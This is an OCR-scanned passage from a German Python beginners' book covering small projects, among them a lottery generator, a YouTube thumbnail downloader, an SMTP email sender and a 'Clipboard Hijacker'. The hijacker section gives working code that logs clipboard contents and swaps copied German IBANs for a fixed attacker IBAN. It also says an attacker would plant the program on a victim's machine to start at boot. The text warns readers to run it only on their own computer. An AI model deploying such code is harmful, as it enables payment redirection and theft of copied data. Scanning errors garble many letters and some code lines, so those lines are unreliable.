Deshalb besteht die Challenge fir dieses Projekt darin, dass du dir einen
Gegenspieler (Bot?®) programmierst, der auf deine Spielziige antwortet.
Wie intelligent du ihn machst, bleibt dir Gberlassen. Ein naiver Bot platziert
seine Spielsteine zufallig auf dem Spielfeld. Beherrscht dein Bot hingegen
ein paar Strategien, wird er moglicherweise zu einem schwierigen Gegner.
Lasse dich bei der Umsetzung gerne von dem folgenden Video inspirieren:

https://florian-dalwigk.com/python-einsteiger/tic_tac_toe_strategien

12.3 Lottozahlen-Generator

4,8, 15, 16, 23, 42. Die Superzahl lautet 7“ Solche Satze hort man fir
gewohnlich bei der Lottoziehungen im Fernsehen. Wer hat noch nicht
davon getraumt, plotzlich von Fortuna gekisst zu werden und sich mit
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einem Mal alle Wiinsche erfillen zu kdnnen? Ein schickes Eigenheim, ein
Porsche, ein Zocker-Zimmer, wie MontanaBlack es hat, und 365 Tage
Urlaub im Jahr. Leider reildt einen die Realitat oft viel zu friih aus diesen
siflen Tagtraumen und man merkt, dass selbst nach langem Sparen
hochstens ein Ford Ranger drin ist. Vielleicht andert sich das aber mit dem
nachsten Projekt. Wir werden uns jetzt namlich ein Programm schreiben,
das Lottozahlen generieren kann. Ob es nun die der kommenden Ziehung
sind, kann niemand vorhersehen, doch es vereinfacht einem vielleicht die
Entscheidung, welche sechs Zahlen man auf seinem nachsten Lottoschein
ankreuzt.

Was, du hast noch nie Lotto gespielt? Kein Problem! Das spricht eher fir
als gegen dich. Vor allem, wenn man sich die Wahrscheinlichkeit auf den
Hauptgewinn anschaut. Beim Lotto wahlt man aus den Zahlen 1 bis 49
genau sechs Stick aus. Jede Zahl kann nur einmal gewahlt werden. Die
Reihenfolge, in der die Zahlen angekreuzt werden, spielt keine Rolle, d. h.
es ist egal, ob zuerst die 4 und dann die 8 oder zuerst die 8 und dann die 4
gezogen wird. Es geht nur um die gezogenen Zahlen. Fir dieses Szenario
gibt es

9l

(49) _ 4% 13983816 ~ 14000 000
6/~ 431 6!

verschiedene Moglichkeiten. Die Wahrscheinlichkeit dafir, sechs Richtige
im Lotto zu erhalten, liegt demnach bei 1 zu 14 Millionen. Aber Moment:
Wird in der Werbung nicht immer von 1 zu 140 Millionen gesprochen? Wir
wirden nach dieser Rechnung mit einer zehnmal hdheren
Wahrscheinlichkeit gewinnen. Wo liegt der Fehler? Bei der Superzahl! Den
Hauptgewinn erhalt man namlich nur dann, wenn man neben den sechs
richtigen Lottozahlen auch die Superzahl richtig getippt hat. Die Superzahl
kann aus den Zahlen 0 bis 9 ausgewahlt werden, d. h. wir erhalten
insgesamt

(469) .10 =13983816-10 = 139838 160 ~ 140 000 000

Zusatzzahlen



Moglichkeiten und das sind die 140 Millionen, von denen immer die Rede
ist. Wenn du wissen willst, wie genau man auf diese Rechnung kommt,
kannst du dir das folgende Video anschauen:

https://florian-dalwigk.com/python-einsteiger/lottowahrscheinlichkeit

Du siehst bereits: Die Chance, beim Lotto den Hauptgewinn zu bekommen,
geht gegen Null.

Nun aber zurick zum Thema: Wie kdnnen wir uns mit Python Lottozahlen
generieren lassen?

1. Daflir bendtigen wir einen Zufallszahlengenerator, mit dem wir zuerst sechs zufallige Zahlen von 1
bis 49
2. und anschliefend die Superzahl von 0 bis 9 losen lassen.

Das Modul random liefert uns alles, was wir daflir brauchen. Diese
importieren wir uns mit import in unser Programm:

1 import random

Jetzt leiten wir den Beginn des Hauptprogrammes ein.

3 if name == " main ":

Zum Speichern der Lottozahlen definieren wir uns ein Set:

4 lotto = set ()
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Warum ein Set und keine Liste? Stichwort: Duplikate. Die gezogenen
Kugeln, auf denen die Zahlen stehen, werden nicht wieder zuriick in die
Lottourne gelegt, d. h. jede Zahl kann hochstens einmal vorkommen. In
einem Set, das sich wie eine Menge aus Mathematik verhalt, gibt es keine
Duplikate und man kann mit den Bordmitteln dieser Datenstruktur sehr
leicht Gberprifen, ob eine Zahl bereits in dem Set ist oder nicht.

Jetzt fragen wir in einer while-Schleife die Anzahl der Elemente im Set
ab:

6 while len(lotto) != 6:

Solange sich noch nicht die sechs Zahlen im Set befinden, figen wir ihm
mithilfe der Funktion randint neue Zufallszahlen hinzu:

7 lotto.add(random.randint (1,49))

Die Funktion randint erhalt zwei Parameter, namlich die kleinste (1) und
grofite Zahl (49), die zufallig ausgewahlt werden soll. Anders als z. B. bei
der range-Funktion, werden beide Grenzen mitbericksichtigt, d. h. man
muss nicht randint (1, 50) angeben, um auch die 49 zu erhalten. Mit

derselben Funktion losen wir zum Schluss noch die Superzahl aus. Da diese
von 0 bis 9 geht, werden diese beiden Zahlen der Funktion randint auch

als Parameter Uibergeben:

8 superzahl = random.randint (0, 9)

Zum Schluss geben wir noch eine hiibsche Meldung mit den sechs Zahlen
plus Superzahl aus:

9 print(f"Die Lottozahlen: {lotto}\nSuperzahl: {superzahl}")

Hervorragend! Du hast soeben moglicherweise das Tor zu groBem
Reichtum aufgestoflen. Die Wahrscheinlichkeit ist jedoch weitaus hoher,
dass die Zahlen, die sich dir nach dem Start des Programms offenbaren,
nicht gezogen werden. Du konntest das Programm aber auch



zweckentfremden, indem du dir Lottozahlen generieren lasst und diese
dann nicht spielst. Umso argerlicher ware es dann aber, wenn tatsachlich
der Hauptgewinn fir dich rausgesprungen ware.

Damit sind wir aber noch nicht am Ende dieses Projekts. Es gibt noch eine
zweite Moglich, mit der man den Lottozahlen-Generator ohne die
Verwendung einer while-Schleife umsetzen kann. Das Modul random
stellt eine Funktion sample zur Verfligung, die aus einer gegebenen
Liste beliebig viele Zahlen ohne Dopplungen zufillig auswahlt und in
einer Liste zurlckgibt, also genau das, was wir brauchen. Beliebig viele?
Das ist nicht ganz richtig! Da keine Zahl zweimal gezogen werden kann,
konnen maximal so viele Zahlen aus der Liste enthommen werden, wie
sich in ihr befinden. Schauen wir uns dazu zwei Beispiele an.

Beispiel 12.3.1: Gegeben sei die Liste [1,2,3,4,5,6,7,8,9,10],
aus der zufallig drei Elemente gezogen werden sollen. Dazu rufen wir auf
random die Funktion sample auf und Gibergeben ihr zwei Parameter:

[J Der erste Parameter ist die Liste, aus der die Zahlen ausgewahlt werden sollen.
L] Der zweite Parameter ist die Anzahl der Elemente, die aus der lbergebenen Liste gezogen
werden sollen (hier 3):

import random
print (random.sample([1,2,3,4,5,6,7,8,9,10],3))
# Ausgabe (z. B.): [5,8,9]

Beispiel 12.3.2: Wenn man versucht, aus der Liste in Beispiel 12.3.1 elf

Zahlen zu entnehmen, liefert Python eine Fehlermeldung, da mehr Zahlen
entnommen werden sollen, als sich in der L.i ste befinden:

import random
random.sample([1,2,3,4,5,6,7,8,9,10],11)
# ValueError: Sample larger than population or is negative

Da wir von den insgesamt 49 Zahlen nur sechs entnehmen, wird uns das
beim Lotto nicht passieren. Da vermutlich niemand Lust darauf hat, die
Zahlen von 1 bis 49 in einer langen Liste abzutippen, nutzen wir die




Funktion range:

range (1, 50)

Da range die obere Grenze nicht mitberiicksichtigt, missen wir hier 50
als zweiten Parameter Ubergeben (sonst kdonnte man niemals die 49
ziehen). In Zeile 3 des Programms rufen wir die Funktion sample auf
random auf und Ubergeben ihr das range-Objekt mit den Zahlen 1 bis
49, sowie die Anzahl der Zahlen, die wir daraus zufallig auswahlen wollen
(hier 6):

1 import random
2
3 if name == " main ":

4 lotto = random.sample (range(1l,50), 6)

Die Funktion sample verwendet das Ergebnis von range als Liste,
obwohl range in Python 3 keine Liste, sondern ein Objekt vom Typ
range zurlckgibt. Zum Schluss wirfeln wir erneut die Superzahl und
geben das Ergebnis aus:

5 superzahl = random.randint (0, 9)

6 print(f"Die Lottozahlen: {lotto}\nSuperzahl: {superzahl}")

Beachte, dass sich die Klammern in den Ausgaben der beiden Programme
geringfligig unterscheiden. Das liegt daran, dass wir einmal ein Set

(geschweifte Klammern) und einmal eine Liste (eckige Klammern)
ausgeben, da sample eine Liste zurlickgibt:

Die Lottozahlen: {38, 10, 48, 19, 25, 31} # Mit Set.
Die Lottozahlen: [38, 10, 48, 19, 25, 31] # Mit sample.

Challenge

Die Challenge fiir dieses Projekt besteht darin, das Programm zu einer
kleinen Lotto-Simulation zu erweitern:

1. Zuerst findet eine Ziehung statt. Diese entspricht dem Ausfillen eines Lotto-Scheins.



2. Danach findet eine erneute Ziehung statt. Diese entspricht der Lotto-Ziehung im Fernsehen.
3. Prife, wie viele Anldaufe du brauchst, bis du den Hauptgewinn (sechs Richtige plus Superzahl)
bekommst.

12.4 YouTube-Thumbnails herunterladen

Wenn du haufiger auf YouTube unterwegs bist, dann bist du bestimmt
schon mit Thumbnails in Berlihrung gekommen. Damit sind nicht etwa
»Daumennagel”, sondern die kleinen Vorschaubilder gemeint, die einen
zum Klick auf ein Video verleiten sollen. Oft sind sie optisch sehr reiRerisch
aufbereitet, um moglichst viele Zuschauer anzulocken. Rote Kreise und
Pfeile verzieren in GrolRbuchstaben geschriebene Schock-Titel, auf die der
Kanalbetreiber mit weit aufgerissenen Augen starrt. Diesen Bildern kann
ein GrolSteil der Zuschauer auf YouTube asthetisch nur selten etwas
abgewinnen. Es gibt jedoch auch zahlreiche Gegenbeispiele, auf denen
Motive abgebildet sind, die man durchaus auch als Bildschirmhintergrund
verwenden konnte. Wie kommt man aber an so ein Bild, wenn es einem
gefallt? Ist es moglich, sich das Thumbnail von einem YouTube-Video
herunterzuladen? Genau darum geht es in diesem Projekt.

Die Vorgehensweise ist recht einfach:

1. Wir finden heraus, unter welcher URL man das Thumbnail fir ein bestimmtes Video findet
2. und laden es herunter.

Python unterstltzt uns bei diesem Vorhaben mit dem Modul requests.
Dieses gehort nicht zur Standardbibliothek und muss zuerst mit dem Befehl

pip install requests

installiert werden. Um eine Ressource aus dem Internet herunterzuladen,
bendtigen wir von requests die Funktion get:

1 from requests import get

Jetzt definieren wir uns eine Funktion download, die den Download einer

Ressource aus dem Internet Ubernimmt. Das kann eine PDF-Datei, ein
Video oder (wie in unserem Fall) ein Bild sein. Diese Funktion erhalt als



Ubergabeparameter eine URL, die das Video referenziert, von dem das
Thumbnail heruntergeladen werden soll. Als zweiten Parameter tGibergeben
wir einen Namen, der festlegt, wie das heruntergeladene Thumbnail
heilen soll. Wird kein Name angegeben, soll die Datei einfach
thumbnail.png heillen.

3 def thumbnail herunterladen (url, dateiname="thumbnail.png") :

Jetzt ist es an der Zeit in Erfahrung zu bringen, wo YouTube die Thumbnails
speichert Nach einer kurzen Google-Suche?” findet man schnell heraus,
dass die kleinen Vorschaubilder wie folgt aufgerufen werden kénnen:

https://img.youtube.com/vi/Video-ID/maxresdefault. jpg

maxresdefault.jpg ist der Name der Bilddatei mit der hochsten
Auflosung. Es gibt noch weitere Namen, die an dieser Stelle aber nicht
relevant sind. Das Einzige, worin sich die Adressen der Thumbnails
unterscheiden, sind die Video-IDs. Hierbei handelt es sich um eine
elfstellige Zeichenkombination, die fir jedes auf YouTube hochgeladene
Video einzigartig ist. Fir jede der elf Stellen kommen 64 Zeichen infrage?,
d. h. auf YouTube kénnen maximal 64!! Videos gespeichert werden, was
eine gewaltige Menge ist. Zum Vergleich: Auf der Erde gibt es aktuell ca.
7.75 - 10° Menschen?, d. h. jeder Mensch kdnnte auf YouTube mehrere
Milliarden Videos veroffentlichen, ohne dass der Plattform die Video-IDs
ausgehen. Wenn du mehr zu den Video-IDs erfahren méchtest, dann
empfehle ich dir das folgende Video:
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Nachdem das geklart ist, weilst du, worauf wir es jetzt abgesehen haben:
Video-IDs. Dabei kommt uns entgegen, dass sie immer genau elf Stellen
lang sind. YouTube stellt Video-Links in einer langen und einer kurzen
Version (zum Teilen in sozialen Netzwerken) zur Verfligung:

https://www.youtube.com/watch?v=dQwdwOWgXcQ # lang
https://youtu.be/dQwdwIWgXcQ # kurz

Die Video-ID ist aber in beiden Fassungen vorhanden. Da der Benutzer des
Programms beide Linkformen eingeben koénnen soll, wird zuerst eine
Fallunterscheidung getroffen. Wenn der Substring youtu.be in der URL

auftaucht, dann teilen wir den String am Forward-Slash / und wahlen
dann das vierte Element in der entstandenen Liste aus:

"https://youtu.be/dQwdwIOWgXcQ" .split ("/")
>> ["https:", "", "youtu.be", "dQwidwOWgXcQ"]

Beachte, dass das vierte Element den Index 3 hat, da wir bei 0 zu zahlen
beginnen. Ubersetzt in Code sieht das folgendermaRen aus:

4 if "youtu.be" in url:
id = url.split("/") [3]

Wenn youtu.be nicht in der URL vorkommt, dann hat der Benutzer die

lange Form der URL eingegeben. In diesem Fall kdnnen wir uns die URL
besorgen, indem wir den String am = aufteilen und von der hinteren
Halfte (Index 1) die ersten elf Zeichen nehmen:

"https://www.youtube.com/watch?v=dQwdw9WgXcQ" .split ("=")
>> ["https://www.youtube.com/watch?v", "dQwdwOWgXcQ"]

Warum die ersten elf Zeichen und nicht den gesamten hinteren Teil? Weil
hinter der Video-ID noch weitere URL-Bestandteile folgen kénnen. Wer
einen Adblocker benutzt, weild, was ich meine:
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6 else:
id = url.split("=")[1]1[:11]

Jetzt offnen wir die Datei, in der wir nachher das heruntergeladene
Thumbnail speichern, im Write-Binary-Modus, da wir Bindardaten aus dem

Internet in Form einer . jpg-Datei speichern wollen:

8 with open (dateiname, "wb") as datei:

Der Name der Bilddatei, die wir herunterladen wollen, lautet
maxresdefault. jpg:

9 name = "maxresdefault.jpg"

Als nachstes rufen wir die Funktion get des Moduls requests auf und

Ubergeben ihr die zuvor aus der URL ausgeschnittene Video-ID, sowie den
Namen der Thumbnail-Datei. Das Ergebnis wird einer Variable antwort

zugewiesen:

10 antwort = get (f"https://img.youtube.com/vi/{id}/{name}")

Jetzt schreiben wir den content der antwort in unsere Datei und teilen
mit, dass der Download erfolgreich war:

11 dateil.write (antwort.content)

12 print ("Download erfolgreich!")

Damit ist unsere Funktion zum Herunterladen von YouTube-Thumbnails
fertig. Im Hauptprogramm fragen wir den Benutzer erstmal nach dem Link
zu einem YouTube-Video:

14 if name == " main ":

15 wurl = input ("Geben Sie die URL des Videos an: ")

AnschlieBend rufen wir die soeben geschriebene Funktion mit der vom
Benutzer Gbergebenen URL auf:



16 thumbnail herunterladen (url)

Jetzt kannst du dir von jedem beliebigen Video auf YouTube das Thumbnail
in der bestmoglichen Qualitat herunterladen. Probiere es doch direkt
einmal fur das folgende Video aus und lasse dich Giberraschen:

https://www.youtube.com/watch?v=dQw4woWgXcQ

Challenge

Sorge dafur, dass das Programm bei Falscheingaben®® nicht abstiirzt. Der
Benutzer soll dann einen neuen Link eingeben kénnen.

12.5 E-Mails versenden

Erinnerst du dich noch an den Moment zurlick, als du deine erste E-Mail
versendet hast? Mochtest du dieses Gefiihl, zu wissen, dass deine
Nachricht mit nahezu Lichtgeschwindigkeit* um den ganzen Globus reist
und innerhalb weniger Sekunden beim beabsichtigten Empfanger ist, noch
einmal erleben? Dann lade ich dich herzlich zu diesem Projekt ein. Hier
wirst du deine erste E-Mail mithilfe eines eigenen Python-Programms auf
die Reise schicken.

Was ist dafiir notig?

1. Zuerst brauchen wir ein Internet-Protokoll, mit dem der Versand von E-Mails moglich ist.

2. Danach bauen wir die zu verschickende E-Mail samt Metadaten zusammen.

3. AnschlieRend verbinden wir uns mit einem Server, der den Versand des geschnirten E-Mail-
Pakets libernimmt.

4. Zum Schluss versenden wir die Nachricht und trennen die Verbindung zum Server.

Das in Schritt 1 angesprochene Internet-Protokoll ist das sogenannte
Simple-Mail-Transfer-Protokoll (kurz SMTP). Hierbei handelt es sich, wie
der Name bereits vermuten lasst, um ein einfaches Protokoll zum
Versenden von E-Mails.

Wie lauft dieses Protokoll ab?

Angenommen, Alice mochte ihrem Schwarm Bob eine E-Mail senden.



1. Alice schreibt die E-Mail und weist ihr E-Mail-Programm an, diese an Bob zu senden.

2. Das E-Mail-Programm Ubergibt die E-Mail an den E-Mail-Server von Alice. Der Server speichert die
E-Mail in einer Ausgangswarteschlange.

3. Der E-Mail-Server von Alice 6ffnet eine TCP-Verbindung zum E-Mail-Server von Bob. TCP steht fir
Transmission Control Protocol und ist ein verbindungsorientiertes Protokoll, das fiir den
zuverldssigen Versand von Paketen im Internet verantwortlich ist. Der E-Mail-Server (bertragt
nach dem Aufbau der Verbindung die Mail Gber SMTP an den E-Mail-Server von Bob.

4. Der E-Mail-Server von Bob speichert die E-Mail in der Mailbox von Bob.

5. Bob startet sein E-Mail-Programm und ruft die Nachrichten aus seiner Mailbox ab.

Wenn du Nadheres zum Simple-Mail-Transfer-Protocol erfahren mochtest,
kannst du dir das folgende Video anschauen:

https://florian-dalwigk.com/python-einsteiger/smtp_protokoll

Wie du bereits herauslesen konntest, ist fiir den erfolgreichen E-Mail-
Versand die Kommunikation mit einem Server erforderlich. Dieser SMTP-
Server, der Uber eine bestimmte Adresse angesprochen werden kann,
nimmt Anfragen auf einem bestimmten Port entgegen. StandardmaRig ist
das Port 25. Fiir ausgehende Nachrichten (also den eigentlichen Versand)
wird oft Port 587 verwendet. Was man im Server- und Internet-Kontext
unter Ports versteht, erfahrst du in dem folgenden Video:


https://florian-dalwigk.com/python-einsteiger/smtp_protokoll

https://florian-dalwigk.com/python-einsteiger/netzwerk_ports

Die Adressen und Ports deines E-Mail-Anbieters kénnen sich voneinander
unterscheiden. In der folgenden Tabelle gebe ich dir eine kleine Ubersicht
gangiger Anbieter:

Anbieter SMTP-Server Port (Senden)
gmail.com smtp.gmail.com 587
web.de smtp.web.de 587
hotmail.com smtp-mail.outlook.com 587

Tabelle 12.5.1: SMTP-Server und Portnummern

Sollte dein Anbieter nicht dabei sein, empfiehlt sich eine kleine Google-
Recherche. Beachte, dass neben den Server-Adressen und Portnummern
evtl. weitere Einstellungen in den Benutzerkonten vorgenommen werden
mussen.

Die Arbeit mit Protokollen erfordert ein akribisches Vorgehen. Es ist genau
festgelegt, wie die Kommunikation stattzufinden hat. Das Modul smtplib
unterstitzt dich dabei. Es gehort bereits zur Standardbibliothek und muss
nicht nachinstalliert werden, sondern kann direkt nach dem Import zum
Einsatz kommen:

1 import smtplib

Im Hauptprogramm definieren wir zwei Variablen fir die spatere
Anmeldung am SMTP-Server, namlich den Benutzernamen und das
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Passwort:

3 if name == " main ":
4 Dbenutzername = "Benutzername"
5 passwort = "Passwort"

Statt Benutzername und Passwort tragst du dort deine Login-Daten

ein. Beim Benutzernamen kann das je nach Anbieter der Name, die E-Mail-
Adresse oder die Telefonnummer sein.

Direkt im Anschluss legen wir den Betreff und den Inhalt der Nachricht
fest:

6 betreff = "Mail mit Python"

7 nachricht = "Hallo, \n\ndas ist ein Test! :)"

Zudem brauchen wir noch die E-Mail-Adressen des Absenders und des
Empfangers:

9 MAIL FROM = "sender@example.com"
10 RCPT TO = "empfanger@example.com"

Den Absender, den Empfanger, den Betreff und den Nachrichtentext
weisen wir mithilfe eines formatierten Strings gemaR den

Formatvorgaben des SMTP-Protokolls einer Variable DATA zu:

11 DATA= f"From:{MAIL FROM}\nTo:{RCPT TO}\nSubject:
{betreff}\n\n{nachricht}"

Jetzt werden die Adresse des SMTP-Servers und der dazugehdrige Port
benotigt. Diese Informationen hangen von deinem E-Mail-Anbieter ab und
sind hier nur exemplarisch aufgefihrt:

12 MATIL SERVER = "secure.email.server"
13 MAIL PORT = 587

Nun haben wir unser Programm mit allen Informationen versorgt, die es
braucht, um die Nachricht Uber einen SMTP-Server zu versenden. Als



erstes nehmen wir aber Verbindung mit dem SMTP-Server auf. Die Server-
Adresse und die Portnummer werden durch einen Doppelpunkt getrennt
und dem Konstruktor3®? der Klasse smtplib Ubergeben:

15 server = smtplib.SMTP (f"{MAIL SERVER}:{MAIL PORT}")

Fir eine web.de-Adresse  wird SMTP also der String
smtp.web.de:587 Ubergeben. Danach bauen wir durch einen Aufruf
der Methode starttls auf dem Server-Objekt eine sichere Verbindung

Uber Transport Layer Security (TLS) auf. Ohne TLS ware unsere
Kommunikation nicht ausreichend abhdérsicher. Die meisten SMTP-Server
wirden eine Verbindung ohne TLS heutzutage aber ohnehin nicht mehr
akzeptieren:

16 server.starttls()

Was man unter TLS genau versteht und wie es funktioniert, erfahrst du in
dem folgenden Video:

https://florian-dalwigk.com/python-einsteiger/tls

Jetzt loggen wir uns mit dem Benutzernamen und dem Passwort auf dem
Server ein:

17 server.login(benutzername, passwort)


http://web.de/
https://florian-dalwigk.com/python-einsteiger/tls

Nun rufen wir die Methode sendmail auf unserem Server auf und
versenden damit endlich die E-Mail. sendmail erhalt den Absender, den
Empfanger und den Nachrichtentext samt Metadaten:

18 server.sendmail (MAIL FROM, RCPT TO, DATA)

AbschlieRend teilen wir dem Benutzer noch mit, dass der E-Mail-Versand
erfolgreich war und beenden die Verbindung zum Server:

19 print("Die E-Mail wurde erfolgreich versendet.")

20 server.quit ()

Challenge

Die Challenge besteht diesmal darin, eine Funktion zu schreiben, die den
Versand von E-Mails Gbernimmt. Als Parameter sollen Benutzername,
Passwort, Sender, Empfanger, der Betreff und die Nachricht selbst
Ubergeben werden. Fiir E-Mail-Adressen, die auf

 gmail.com,
[] web.de oder
[0 hotmail.com

enden, soll automatisch der passende SMTP-Server samt richtiger Port-
Nummer ausgewahlt werden. Versende mit je einem Vertreter der drei
genannten Anbieter erfolgreich eine E-Mail. Als Empfanger kannst du gerne
meine Adresse python@florian-dalwigk.de verwenden. Ich freue

mich Gber eine Nachricht, ob es bei dir geklappt hat.

12.6 Clipboard Hijacker

Copy and Paste. Was sich als schlechte Strategie fir eine Klausur oder
Abschlussarbeit entpuppt, wirkt im digitalen Alltag wahre Wunder. Wer hat
noch nie einen Link oder einen kleinen Textblock kopiert und woanders
eingefligt? Vermutlich niemand, der regelmafig im Internet unterwegs ist.

Aber wo werden die Informationen, die man kopieren will, eigentlich
gespeichert? Das geschieht im sogenannten Clipboard, das man auch


http://gmail.com/
http://web.de/
http://hotmail.com/

Zwischenablage nennt. Wenn jemand Fremdes Zugriff auf diese
Zwischenablage erhdlt, dann kann er daraus sehr viele potenziell wertvolle
Informationen gewinnen, die eigentlich nicht fiir jedermann bestimmt sein
sollten. Dazu zahlen z. B.

[] deine IBAN,
L] die Links zu Seiten, auf denen du dich gerne herumtreibst oder
[J dein Passwort.

Wenn diese Informationen nicht nur gelesen, sondern gleichzeitig auch
noch modifiziert werden kénnen, ist das Schadenpotenzial sehr hoch. Ein
Angreifer ist dann in der Lage, dich auf schadhafte Webseiten zu lotsen und
so an sensible Daten zu kommen. Stelle dir mal vor, du kopierst dir einen
Link zu PayPal in die Zwischenablage und fligst ihn in die URL-Leiste deines
Browsers ein. Wenn du jetzt plotzlich statt auf PayPal auf eine Seite
weitergeleitet wirst, die genauso wie PayPal aussieht, aber nicht PayPal ist,
konntest du in die Falle tappen. Gerade dann, wenn es ums Geld geht,
schaue ich immer in der URL-Leiste nach, ob ich tatsachlich auf der
Webseite meiner Hausbank oder auf PayPal bin. Im Jahr 2020 wurde
bekannt, dass die Social-Media-App , TikTok” bei iPhone-Nutzern in kurzen
Abstanden ebendiese Zwischenablage ausliest.??

In diesem Projekt wollen wir uns mal anschauen, wie erschreckend leicht
der Zugriff auf die Zwischenablage mit Python ist. Darauf aufbauend
werden wir uns einen kleinen Clipboard-Hijacker programmieren, der
Daten aus der Zwischenablage auslesen und manipulieren kann. Dass du
dieses Programm ausschliel3lich auf deinem Rechner verwenden und damit
von niemandem ungefragt Daten kopieren darfst, versteht sich von selbst,
oder? Lass uns kurz tber die Vorgehensweise reden:

1. Wir installieren uns ein geeignetes Python-Modul, mit dem wir auf die Zwischenablage zugreifen
kdnnen.

2. Danach schreiben wir uns Funktionen, die uns bei der Manipulation und dem Speichern von
Daten aus der Zwischenablage helfen.

3. Zum Schluss greifen wir unter Zuhilfenahme der in Schritt 2 entwickelten Funktionen auf die
Zwischenablage zu und definieren Regeln fiir den Umfang mit deren Inhalt.

Zuerst installieren wir uns via pip das Modul pyperclip, das uns beim
Zugriff auf die Zwischenablage hilft:

pip install pyperclip



Fiir unser Programm bendtigen wir einige Imports. Da ware zum einen das
Modul pyperclip, das wir uns gerade heruntergeladen haben. Zudem

brauchen wir das Modul re aus der Python-Standardbibliothek, das den

Umgang mit reguldren Ausdriicken ermdglicht. Damit konnen wir die
Eingabe z. B. auf eine IBAN prifen, denn diese haben ein bestimmtes
Muster, nach dem ein regularer Ausdruck sucht:

1 import pyperclip, re

Mit datetime konnen wir einen Zeitstempel, bestehend aus dem

aktuellen Datum und der Uhrzeit, erzeugen und beim Logging mit
abspeichern. So kdnnen wir sehen, wann genau welcher Inhalt kopiert
wurde. Wir importieren uns von datetime also die Klasse datetime:

2 from datetime import datetime

Als nachstes schreiben wir uns eine Funktion 1og, die mitschreibt, was
sich zu welchem Zeitpunkt in der Zwischenablage befunden hat. Diese
erhalt als Parameter den Pfad zu einer Logdatei und die Daten, die
mitgeloggt werden sollen:

4 def log(logfile, daten):

Wir offnen die Logdatei im Append-Modus, d. h. der Inhalt wird nicht
komplett Gberschrieben, sondern angehangt:

5 with open(logfile, "a") as datei:

Andernfalls wiirde die Logdatei immer nur den neuesten Eintrag enthalten,
was ziemlich sinnlos ware. Durch die Zeitstempel kénnen wir uns dann
sogar einen bestimmten Zeitraum anschauen, der uns interessiert. Daflr
erzeugen wir uns mit der Funktion now zuerst ein Datet ime-Objekt, das

die aktuellen Zeitdaten (Uhrzeit und Datum) enthalt.

6 t = datetime.now ()



Dieses wird anschlieBend im Format

Monat/Tag/Jahr, Stunde:Minute:Sekunde

zusammen mit den Daten aus der Zwischenablage in die Log-Datei
geschrieben:

7 datei.write(f"{t.strftime('%m/%d/%Y,%H:%M:%S"') }-{daten}\n")

Die Funktion 1og hat lediglich lesenden Zugriff auf die Zwischenablage.

Die folgenden beiden Funktionen, die wir uns jetzt schreiben werden,
verandern den Inhalt der Zwischenablage und haben somit zusatzlich
lesenden Zugriff.

Wir beginnen mit der Funktion mod iban, die eine IBAN in der
Zwischenablage erkennt und sie durch eine andere ersetzt:

9 def mod iban():

Dadurch ist es bspw. méglich, Uberweisungen auf ein anderes als das
beabsichtigte Konto umzulenken. Die IBAN des Zielkontos speichern wir in
einer Variablen fake iban:

10 fake iban = "DE96790700166165546734"

Mithilfe der Funktion copy auf pyperclip, der wir die fake iban
Ubergeben, speichern wir den manipulierten Wert in der Zwischenablage:

11 pyperclip.copy (fake iban)
Die Funktion mod_url manipuliert einen Link:

13 def mod url():

Als fake url setzen wir den Link zu einem bestimmten YouTube-Video
fest:



14 fake url = "https://www.youtube.com/watch?v=dQw4w9nWgXcQ"

Dieser manipulierte Link wird, wie schon in Zeile 11, in die Zwischenablage
kopiert:

15 pyperclip.copy (fake url)

Im Hauptprogramm legen wir den Pfad zur Log-Datei fest und erzeugen uns
eine Kopie der Zwischenablage. Dies erreichen wir durch einen Aufruf der
Funktion paste auf pyperclip:

17 if name == " main 9

18 logfile = "logfile.txt"
19 clipboard kopie = pyperclip.paste ()

Diese Kopie wird bendtigt, um Veranderungen in der Zwischenablage
festzustellen.

Als Angreifer wirden wir unseren Clipboard Hijacker so beim Opfer
platzieren, dass er beim Starten des Computers seine Arbeit beginnt und
erst beim Herunterfahren endet. Deshalb lassen wir das Programm in einer
Endlosschleife laufen:

21 while True:

Mit der Funktion paste speichern wir uns die Daten aus der
Zwischenablage in einer Variable daten ab:

22 daten = pyperclip.paste()

Jetzt kommt die Kopie der Zwischenablage aus Zeile 19 ins Spiel: Wir
wollen im nachsten Schritt den Inhalt der Zwischenablage in die Log-Datei
schreiben. Daflir muss aber sichergestellt sein, dass nur dann ein Eintrag
erfolgt, wenn sich auch wirklich Veranderungen ergeben haben, denn
ansonsten wird die Log-Datei mehrfach pro Sekunde mit den gleichen
Eintragen geflutet. Nur der Zeitstempel wiirde sich dann unterscheiden.
Viele Hacker machen auch bei Keyloggern3* den Fehler, dass sie einfach



alles speichern und die Log-Dateien dann viel zu groR werden. Deshalb
prifen wir, ob Uberhaupt etwas in der Zwischenablage ist und wenn ja, ob
diese Daten neu sind:

23 if daten != "None" and daten != clipboard kopie:

Ist das der Fall, speichern wir die Daten mithilfe unserer Funktion 1og in
der Log-Datei:

24 log(logfile, daten)

Danach aktualisieren wir die Kopie der Zwischenablage:

25 clipboard kopie = pyperclip.paste ()

Jetzt prifen wir mithilfe der Funktion match des Moduls re, ob sich eine

IBAN in der Zwischenablage befindet. Wenn das der Fall ist, wird diese mit
unserer Funktion mod iban manipuliert:

26 if re.match("DE[0-9]{20}", daten):
27 mod iban ()

wurde. Wenn du mehr zu reguldren Ausdricken in Python erfahren
mochtest, dann schaue dir das folgende Video an:

https://florian-dalwigk.com/python-einsteiger/reguldre_ausdriicke


https://florian-dalwigk.com/python-einsteiger

Wenn allerdings irgendwo ,,www.youtube.com® in dem kopierten Inhalt
auftaucht, d. h. es wurde moglicherweise ein Video-Link kopiert, dann
rufen wir unsere Funktion mod url auf und rickrollen so den

(unfreiwilligen) Benutzer des Clipboard-Hijackers:

28 elif "www.youtube.com" in daten:
29 mod url ()

Challenge

Der Zugriff auf die Zwischenablage muss aber nicht immer mit bdsen
Absichten verbunden sein. Deshalb besteht die Challenge bei diesem
Projekt darin, eine kleine Rechtschreibprifung zu implementieren. So ist
sichergestellt, dass sich weniger Fehler beim Kopieren von Texten
einschleichen, denn dein Programm soll den kopierten Text Uberprifen
und etwaige Rechtschreibfehler korrigieren. Wie komplex du die Prifung
gestalten willst, bleibt dir Gberlassen.

12.7 Dateien verschliisseln und entschliisseln

In meinen YouTube-Videos predige ich immer wieder, dass Verschlisselung
in der heutigen Zeit wichtiger als je zuvor ist. Vor nicht allzu langer Zeit, als
das Internet fir die Generation Z tatsachlich noch Neuland war, hat man
als Otto Normalblirger nicht viel Uber verschliisselte Kommunikation
nachgedacht. Das war eher etwas fiir Nachrichten- und Geheimdienste. Die
zahlreichen Hackerangriffe der vergangenen Jahre stol3en gliicklicherweise
